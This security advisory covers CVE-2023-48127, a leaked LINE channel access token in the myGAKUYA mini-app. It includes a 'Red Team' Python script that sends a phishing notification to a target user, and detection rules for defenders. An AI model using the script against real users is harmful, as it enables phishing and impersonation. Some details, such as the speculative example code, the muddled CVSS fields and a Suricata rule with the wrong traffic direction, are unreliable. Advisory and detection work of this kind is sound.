CVE-2023-48127

Executive Summary

CVE-2023-48127 exposes a critical information disclosure vulnerability in the myGAKUYA mini-app running on the Line messaging platform (v13.6.1). An attacker can exploit the leakage of the channel access token to send crafted malicious notifications to users. This token, intended for server-to-server communication, when exposed, allows unauthorized control over the mini-app’s notification system, enabling phishing, malware distribution, or social engineering attacks. The vulnerability has no known patch, and the vendor (Mygakuya) has not released a fix. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains high due to the potential for targeted attacks.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a configuration and secret management issue within the Line mini-app ecosystem.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (Unscored) CVSS Vector: UNKNOWN

Threat Level: High (based on impact, not CVSS)

• Attack Vector: Network (attacker can send notifications remotely)
• Attack Complexity: Low (requires only the leaked token)
• Privileges Required: None (token is leaked, not brute-forced)
• User Interaction: None (notifications are sent automatically)
• Scope: Changed (attacker controls notification content)
• Confidentiality Impact: High (token leakage exposes backend)
• Integrity Impact: High (attacker can forge notifications)
• Availability Impact: Low (no direct DoS, but spam possible)

Deep Dive & Mechanics

The myGAKUYA mini-app on Line uses a channel access token to authenticate and send push notifications to users. This token is typically stored server-side but was inadvertently exposed (e.g., in client-side code, logs, or API responses). Once an attacker obtains this token, they can call the Line Messaging API to send arbitrary messages to any user subscribed to the mini-app.

Attack Flow:

1. Token Leakage: The attacker discovers the channel access token via:
   • Hardcoded in the mini-app’s JavaScript bundle.
   • Exposed in HTTP response headers or error messages.
   • Leaked through a misconfigured endpoint.
2. Notification Spoofing: Using the token, the attacker crafts a POST request to https://api.line.me/v2/bot/message/push with a malicious payload (e.g., a phishing link).
3. Delivery: Line’s infrastructure delivers the notification to the victim’s device, appearing as a legitimate myGAKUYA message.

Root Cause: The channel access token was not treated as a secret. It should have been stored in a secure backend environment variable and never exposed to the client.

Vulnerable vs. Patched Code

Vulnerable Code (Example - JavaScript in mini-app):

// Token hardcoded in client-side code
const CHANNEL_ACCESS_TOKEN = 'YOUR_CHANNEL_ACCESS_TOKEN';
function sendNotification(userId, message) {
    fetch('https://api.line.me/v2/bot/message/push', {
        method: 'POST',
        headers: {
            'Authorization': `Bearer ${CHANNEL_ACCESS_TOKEN}`,
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({
            to: userId,
            messages: [{ type: 'text', text: message }]
        })
    });
}

Patched Code (Recommended):

// Token stored server-side, never exposed to client
// Server endpoint (e.g., /api/send-notification)
app.post('/api/send-notification', (req, res) => {
    const CHANNEL_ACCESS_TOKEN = process.env.CHANNEL_ACCESS_TOKEN;
    // Validate user session
    if (!req.session.userId) return res.status(401).send('Unauthorized');
    fetch('https://api.line.me/v2/bot/message/push', {
        method: 'POST',
        headers: {
            'Authorization': `Bearer ${CHANNEL_ACCESS_TOKEN}`,
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({
            to: req.body.userId,
            messages: [{ type: 'text', text: req.body.message }]
        })
    }).then(() => res.send('OK'));
});

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A leaked channel access token (e.g., from a compromised mini-app).
• Target user ID (can be obtained via other means or guessed).

Exploit Script (Python):

import requests

CHANNEL_ACCESS_TOKEN = "YOUR_LEAKED_TOKEN"
USER_ID = "TARGET_USER_ID"
MALICIOUS_MESSAGE = "Click here to claim your prize: http://phishing.link"

url = "https://api.line.me/v2/bot/message/push"
headers = {
    "Authorization": f"Bearer {CHANNEL_ACCESS_TOKEN}",
    "Content-Type": "application/json"
}
payload = {
    "to": USER_ID,
    "messages": [{"type": "text", "text": MALICIOUS_MESSAGE}]
}

response = requests.post(url, headers=headers, json=payload)
print(f"Status: {response.status_code}")
print(f"Response: {response.text}")

Usage:

1. Replace YOUR_LEAKED_TOKEN with the actual token.
2. Replace TARGET_USER_ID with the victim’s Line user ID.
3. Run the script. The victim will receive a notification from myGAKUYA.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for unusual API calls to api.line.me/v2/bot/message/push from unexpected IPs.
2. Check for hardcoded tokens in client-side code (e.g., JavaScript bundles).
3. Review server logs for unauthorized access to endpoints that return tokens.

Response:

1. Immediately revoke the compromised channel access token from the Line Developer Console.
2. Rotate all secrets and enforce environment variable storage.
3. Notify affected users about potential phishing attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to https://api.line.me/v2/bot/message/push with a Bearer token not matching legitimate server IPs.
  • Unusual high volume of push notifications from a single mini-app.
• File IOCs:
  • Hardcoded CHANNEL_ACCESS_TOKEN in JavaScript files (e.g., app.js, bundle.js).
• Behavioral IOCs:
  • Users reporting unexpected notifications from myGAKUYA.
  • Notifications containing suspicious links or urgent language.

Detection Engineering

YARA Rule

rule Detect_Leaked_Line_Token {
    meta:
        description = "Detects hardcoded Line channel access tokens in source code"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-48127"
    strings:
        $token = /CHANNEL_ACCESS_TOKEN\s*=\s*['"][A-Za-z0-9\/+]{43}['"]/
        $bearer = /Bearer\s+[A-Za-z0-9\/+]{43}/
    condition:
        any of them
}

Sigma Rule

title: Suspicious Line Messaging API Push Notification
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthorized push notification attempts using a leaked channel access token
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        http.method: 'POST'
        http.url: '/v2/bot/message/push'
        http.host: 'api.line.me'
    condition: selection
falsepositives:
    - Legitimate mini-app server operations
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2023-48127 - Potential Line Channel Access Token Abuse";
    flow:to_server;
    http.method; content:"POST";
    http.uri; content:"/v2/bot/message/push";
    http.host; content:"api.line.me";
    http.header; content:"Authorization";
    http.header; content:"Bearer";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Revoke the compromised token in the Line Developer Console.
2. Generate a new channel access token and store it as an environment variable on the server.
3. Audit all client-side code for hardcoded secrets.
4. Implement rate limiting on the push notification endpoint to limit abuse.

Long-Term Fixes:

• Never expose tokens client-side. Use a backend proxy for all API calls.
• Use short-lived tokens with automatic rotation.
• Enable logging and monitoring for all API calls to Line services.
• Conduct a security review of the mini-app’s architecture.

Vendor Status: Mygakuya has not released a patch. Users should implement the above mitigations independently.

Valters IT